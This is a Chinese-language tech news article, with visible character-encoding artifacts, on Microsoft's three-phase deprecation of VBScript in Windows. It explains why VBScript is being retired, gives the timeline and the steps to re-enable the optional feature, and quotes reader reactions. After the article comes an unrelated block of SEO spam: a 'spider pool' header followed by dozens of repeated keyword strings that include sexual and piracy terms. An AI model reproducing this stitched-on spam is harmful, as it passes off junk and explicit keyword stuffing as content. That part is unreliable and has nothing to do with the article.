          這門(mén)語(yǔ)言也作為 Windows 操作系統(tǒng)中的系統(tǒng)組件提供,系統(tǒng)管理員一般都喜歡用 VBScript 編寫(xiě)腳本來(lái)實(shí)現(xiàn)各種自動(dòng)化管理任務(wù),如文件操作、注冊(cè)表編輯、用戶賬戶管理和網(wǎng)絡(luò)配置等。

          在 Office 應(yīng)用上,盡管 VBA 更為常用一些,但是也有不少開(kāi)發(fā)者將 VBScript與 Office 應(yīng)用程序(如 Excel、Word 和 Outlook)集成,用于自動(dòng)化任務(wù)和宏編寫(xiě)。

          再者,在軟件測(cè)試領(lǐng)域,VBScript 被用作一些測(cè)試自動(dòng)化工具(如 QTP/UFT,現(xiàn)稱為 Micro Focus UFT)的腳本語(yǔ)言。測(cè)試人員使用 VBScript 編寫(xiě)測(cè)試腳本來(lái)自動(dòng)化軟件測(cè)試流程。

          受益于這些領(lǐng)域,外加簡(jiǎn)單易學(xué)的特性,VBScript 也成為不少程序員的啟蒙語(yǔ)言,快速理解編程概念和腳本編寫(xiě)。

          據(jù)最新的 TIOBE 榜單顯示,VBScript 經(jīng)過(guò)了 28 年的發(fā)展至今,使用率仍有 0.34%。這也意味著有不少遺留應(yīng)用程序、工具中仍然存在不少 VBScript 的代碼。


          為什么要棄用 VBScript?

          談及為什么要棄用 VBScript,正如我們此前報(bào)道的,一方面,VBScript 自身迭代已經(jīng)跟不上了時(shí)代的步伐,其中:

          • VBScript 的命令集相對(duì)較小,功能有限,難以處理復(fù)雜的任務(wù);

          • 不支持面向?qū)ο缶幊蹋∣OP),這限制了其在大型應(yīng)用開(kāi)發(fā)中的使用;

          • 這門(mén)語(yǔ)言本身是微軟開(kāi)發(fā),主要支持 Windows 系統(tǒng),這在如今的跨平臺(tái)開(kāi)發(fā)環(huán)境中是一個(gè)嚴(yán)重的限制;

          • 還缺乏模塊化和組件化、異步處理能力等多種能力...

          更為讓人無(wú)奈的是,不同于現(xiàn)代腳本語(yǔ)言通常都有活躍的維護(hù)團(tuán)隊(duì),持續(xù)推出新版本,不斷改進(jìn)語(yǔ)言特性和性能,VBScript 缺乏持續(xù)的更新和維護(hù),它的最新版本還停留在 14 年前的 2010 年 5.8 版本。

          相比之下,2006 年 PowerShell 的出現(xiàn)以及 JavaScript 的流行對(duì) VBScript 帶來(lái)了致命的打擊。

          其中,PowerShell 不僅支持強(qiáng)大的腳本編寫(xiě)功能,可以處理復(fù)雜的自動(dòng)化任務(wù),還內(nèi)置了大量功能強(qiáng)大的命令(Cmdlets),能夠直接與系統(tǒng)、文件、注冊(cè)表、服務(wù)和應(yīng)用程序進(jìn)行交互。PowerShell 基于 .NET 框架,能夠處理對(duì)象,使數(shù)據(jù)操作和傳遞更加直觀和高效。

          另外,不像 VBScript 那樣局限于 Internet Explorer,已經(jīng)成為網(wǎng)頁(yè)開(kāi)發(fā)的標(biāo)準(zhǔn)腳本語(yǔ)言 JavaScript 支持幾乎所有現(xiàn)代瀏覽器(如 Chrome、Firefox、Safari 和 Edge)。JavaScript 也擁有豐富的庫(kù)和框架(如 React、Angular 和 Vue),極大地簡(jiǎn)化了現(xiàn)代 Web 應(yīng)用的開(kāi)發(fā)。

          在二者的夾擊下,VBScript 幾乎無(wú)用武之地。

          微軟項(xiàng)目經(jīng)理 Naveen Shankar 對(duì)此表示,“決定終止支持是為了過(guò)渡到更現(xiàn)代、更高效、更先進(jìn)的選項(xiàng)......多年來(lái),技術(shù)不斷進(jìn)步,催生出更強(qiáng)大、更通用的腳本語(yǔ)言,如 JavaScript 和 PowerShell。這些語(yǔ)言提供了更廣泛的功能,更適合現(xiàn)代 Web 開(kāi)發(fā)和自動(dòng)化任務(wù)。

          當(dāng)然,微軟在公告中特別做了解釋,其聲稱,棄用是產(chǎn)品生命周期中的一個(gè)階段,是指某一特性或功能不再處于積極開(kāi)發(fā)階段,并可能在產(chǎn)品或在線服務(wù)的未來(lái)版本中刪除。

          不過(guò),「這是一個(gè)漸進(jìn)的過(guò)程,可能持續(xù)幾個(gè)月或幾年。被淘汰的功能通常會(huì)被更好、更先進(jìn)或功能性更強(qiáng)的功能所取代。在正式移除之前,該功能通常會(huì)繼續(xù)運(yùn)行并得到全面支持。移除后,該功能或能力將不再工作。移除過(guò)時(shí)的組件有助于降低復(fù)雜性,同時(shí)保證安全性和工作效率。」


          棄用 VBScript 三步走

          因此,微軟也給已經(jīng)使用了 VBScript 語(yǔ)言的應(yīng)用程序預(yù)留出足夠的過(guò)渡時(shí)間,其分享了三個(gè)階段,直至 VBScript 從未來(lái)的 Windows 操作系統(tǒng)版本中完全退役。

          階段 1

          在第一階段,VBScript FOD(按需功能)將默認(rèn)預(yù)安裝在所有 Windows 11 版本 24H2 及以上版本中。

          在這一時(shí)間段內(nèi),如果你的應(yīng)用程序、進(jìn)程等對(duì) VBScript 有依賴,那么體驗(yàn)不會(huì)受到影響。

          你可以在“開(kāi)始” > “設(shè)置” > “系統(tǒng)” > “可選功能”中看到默認(rèn)啟用的 VBScript FOD。

          Windows系統(tǒng)設(shè)置的屏幕截圖顯示VBScript安裝在可選功能下

          階段2

          微軟計(jì)劃到 2027 年,VBScript FOD 將不再默認(rèn)啟用。這意味著,如果到那時(shí)你的應(yīng)用程序仍然依賴 VBScript,則需要手動(dòng)啟用 FOD,以防止應(yīng)用程序和進(jìn)程出現(xiàn)問(wèn)題:

          1. 轉(zhuǎn)到開(kāi)始>設(shè)置>系統(tǒng)>可選功能。

          2. 選擇頂部“添加可選功能”選項(xiàng)旁邊的查看功能。

          3. 在搜索對(duì)話框中輸入“VBSCRIPT”,然后選擇結(jié)果旁邊的復(fù)選框。

          4. 要啟用已禁用的功能,請(qǐng)按下一步。

          階段3

          VBScript 將從 Windows 的未來(lái)版本中退役并淘汰。這意味著 VBScript 的所有動(dòng)態(tài)鏈接庫(kù)(.dll 文件)都將被刪除。因此,依賴 VBScript 的項(xiàng)目將停止運(yùn)行。

          當(dāng)進(jìn)入第三階段時(shí),微軟建議所有使用 VBScript 的項(xiàng)目必須進(jìn)行遷移。

          如果你有依賴 VBScript 自動(dòng)執(zhí)行任務(wù)的網(wǎng)站或應(yīng)用程序;或者使用 VBScript 自定義操作作為安裝包中的一項(xiàng)功能,微軟建議可以遷移到 PowerShell。

          由于 VBScript 功能目前僅限于 IE 11 之前的瀏覽器,因此在 2027 年之后,微軟官方建議這類網(wǎng)頁(yè)統(tǒng)一遷移并使用 JavaScript 語(yǔ)言。


          VBScript 的退役,對(duì)你是否有影響?

          隨著 VBScript 的棄用,不少程序員感嘆:

          “在 Windows 和 office 的世界里,vbs 真是一個(gè)不錯(cuò)的東西”;

          “21年前寫(xiě)下第一行 VBScript,紀(jì)念我逝去的青春”。

          不過(guò),也有網(wǎng)友對(duì)微軟的建議并不買(mǎi)賬:

          • 我覺(jué)得 PowerShell 這門(mén)語(yǔ)言啰嗦而且不符合人體工程學(xué)。這艘船已經(jīng)揚(yáng)帆起航,但我希望微軟能做些什么,讓 Windows 自動(dòng)化更接近其他平臺(tái),這樣它就能從其他平臺(tái)上的優(yōu)秀軟件中受益。

            看來(lái),VBA 將繼續(xù)作為 MS Office 的編程前端語(yǔ)言而存在,這實(shí)在令人遺憾。他們不久前宣布 Excel 支持 Python,我希望它能作為 VBA 的可行替代品得到更好的推廣。

          • 迄今為止,我一直避免在向最終用戶分發(fā)的任何文件中使用 Powershell,因?yàn)?Windows 默認(rèn)禁用未簽名腳本的執(zhí)行。使用 VBScript 或 BAT 文件自動(dòng)執(zhí)行基本任務(wù)更容易,因?yàn)檫@些腳本可以不簽名運(yùn)行...... 我想,如果微軟現(xiàn)在重新考慮默認(rèn)啟用 Powershell 腳本執(zhí)行功能,那也未免太奢望了。

          對(duì)此,你如何看待 VBScript 的淘汰?對(duì)你的應(yīng)用程序是否有影響?

          來(lái)源:

          https://techcommunity.microsoft.com/t5/windows-it-pro-blog/vbscript-deprecation-timelines-and-next-steps/ba-p/4148301


          主站蜘蛛池模板: 人妻少妇久久中文字幕一区二区 | 色噜噜一区二区三区| 波多野结衣一区二区三区aV高清| 无码日韩精品一区二区人妻| 精品福利一区二区三区| 亚洲综合无码精品一区二区三区| 一区二区三区视频在线观看| 一区二区和激情视频| 99偷拍视频精品一区二区| 一区二区三区中文字幕| 午夜福利一区二区三区高清视频| 亚洲熟女综合一区二区三区| 精品一区二区三区四区电影| 国产精品一区二区av| 欧美日韩精品一区二区在线视频| 精品福利一区二区三区精品国产第一国产综合精品 | 亚洲国产成人久久综合一区 | 国产一区二区在线观看麻豆| 乱人伦一区二区三区| 亚洲福利视频一区| 国产日韩精品一区二区三区| 国模丽丽啪啪一区二区| 亚洲变态另类一区二区三区| 亚洲中文字幕无码一区二区三区| 亚洲变态另类一区二区三区 | 亚洲AⅤ无码一区二区三区在线 | 国产成人久久精品一区二区三区 | 国产精品免费一区二区三区四区| 极品尤物一区二区三区| 三上悠亚精品一区二区久久| 亚洲AV无码一区二区三区鸳鸯影院| 精品国产一区二区三区2021| 亚洲一区二区三区高清在线观看| 成人免费av一区二区三区| 国产一区二区三区播放心情潘金莲| 久久久精品日本一区二区三区| 国产微拍精品一区二区| 亚洲一区影音先锋色资源| 国产高清在线精品一区二区三区| 一本一道波多野结衣AV一区| 久久精品一区二区三区日韩|